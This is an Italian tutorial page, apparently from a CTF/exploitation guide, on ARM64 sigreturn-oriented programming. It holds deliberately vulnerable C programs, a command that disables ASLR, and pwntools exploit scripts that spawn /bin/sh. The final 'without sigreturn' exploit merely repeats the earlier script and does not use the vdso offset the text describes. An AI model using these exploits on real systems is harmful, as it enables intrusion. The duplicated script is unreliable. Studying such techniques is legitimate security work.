Esempio di Pwntools
Questo esempio crea il binario vulnerabile e lo sfrutta. Il binario legge nello stack e poi chiama sigreturn
:
Copy from pwn import *
binsh = "/bin/sh"
context . clear ()
context . arch = "arm64"
asm = ''
asm += 'sub sp, sp, 0x1000\n'
asm += shellcraft . read (constants.STDIN_FILENO, 'sp' , 1024 ) #Read into the stack
asm += shellcraft . sigreturn () # Call sigreturn
asm += 'syscall: \n' #Easy symbol to use in the exploit
asm += shellcraft . syscall ()
asm += 'binsh: .asciz " %s "' % binsh #To have the "/bin/sh" string in memory
binary = ELF . from_assembly (asm)
frame = SigreturnFrame ()
frame . x8 = constants . SYS_execve
frame . x0 = binary . symbols [ 'binsh' ]
frame . x1 = 0x 00
frame . x2 = 0x 00
frame . pc = binary . symbols [ 'syscall' ]
p = process (binary.path)
p . send ( bytes (frame))
p . interactive ()
bof esempio
Codice
Copy #include <stdio.h>
#include <string.h>
#include <unistd.h>
void do_stuff ( int do_arg){
if (do_arg == 1 )
__asm__ ( " mov x8, 0x8b; svc 0; " ) ;
return ;
}
char* vulnerable_function () {
char buffer[ 64 ];
read(STDIN_FILENO , buffer , 0x 1000 ) ; // <-- bof vulnerability
return buffer;
}
char* gen_stack () {
char use_stack[ 0x 2000 ];
strcpy(use_stack , "Hello, world!" ) ;
char* b = vulnerable_function() ;
return use_stack;
}
int main ( int argc , char ** argv) {
char* b = gen_stack() ;
do_stuff( 2 ) ;
return 0 ;
}
Compilalo con:
Copy clang -o srop srop.c -fno-stack-protector
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space # Disable ASLR
Exploit
L'exploit sfrutta il bof per tornare alla chiamata a sigreturn
e preparare lo stack per chiamare execve
con un puntatore a /bin/sh
.
Copy from pwn import *
p = process ( './srop' )
elf = context . binary = ELF ( './srop' )
libc = ELF ( "/usr/lib/aarch64-linux-gnu/libc.so.6" )
libc . address = 0x 0000fffff7df0000 # ASLR disabled
binsh = next (libc. search ( b "/bin/sh" ))
stack_offset = 72
sigreturn = 0x 00000000004006e0 # Call to sig
svc_call = 0x 00000000004006e4 # svc #0x0
frame = SigreturnFrame ()
frame . x8 = 0x dd # syscall number for execve
frame . x0 = binsh
frame . x1 = 0x 00 # NULL
frame . x2 = 0x 00 # NULL
frame . pc = svc_call
payload = b 'A' * stack_offset
payload += p64 (sigreturn)
payload += bytes (frame)
p . sendline (payload)
p . interactive ()
bof esempio senza sigreturn
Codice
Copy #include <stdio.h>
#include <string.h>
#include <unistd.h>
char* vulnerable_function () {
char buffer[ 64 ];
read(STDIN_FILENO , buffer , 0x 1000 ) ; // <-- bof vulnerability
return buffer;
}
char* gen_stack () {
char use_stack[ 0x 2000 ];
strcpy(use_stack , "Hello, world!" ) ;
char* b = vulnerable_function() ;
return use_stack;
}
int main ( int argc , char ** argv) {
char* b = gen_stack() ;
return 0 ;
}
Exploit
Nella sezione vdso
è possibile trovare una chiamata a sigreturn
nell'offset 0x7b0
:
Pertanto, se viene leakato, è possibile utilizzare questo indirizzo per accedere a un sigreturn
se il binario non lo sta caricando:
Copy from pwn import *
p = process ( './srop' )
elf = context . binary = ELF ( './srop' )
libc = ELF ( "/usr/lib/aarch64-linux-gnu/libc.so.6" )
libc . address = 0x 0000fffff7df0000 # ASLR disabled
binsh = next (libc. search ( b "/bin/sh" ))
stack_offset = 72
sigreturn = 0x 00000000004006e0 # Call to sig
svc_call = 0x 00000000004006e4 # svc #0x0
frame = SigreturnFrame ()
frame . x8 = 0x dd # syscall number for execve
frame . x0 = binsh
frame . x1 = 0x 00 # NULL
frame . x2 = 0x 00 # NULL
frame . pc = svc_call
payload = b 'A' * stack_offset
payload += p64 (sigreturn)
payload += bytes (frame)
p . sendline (payload)
p . interactive ()
Per ulteriori informazioni su vdso controlla:
Ret2vDSO E per bypassare l'indirizzo di /bin/sh
potresti creare diverse variabili di ambiente che puntano ad esso, per ulteriori informazioni:
ASLR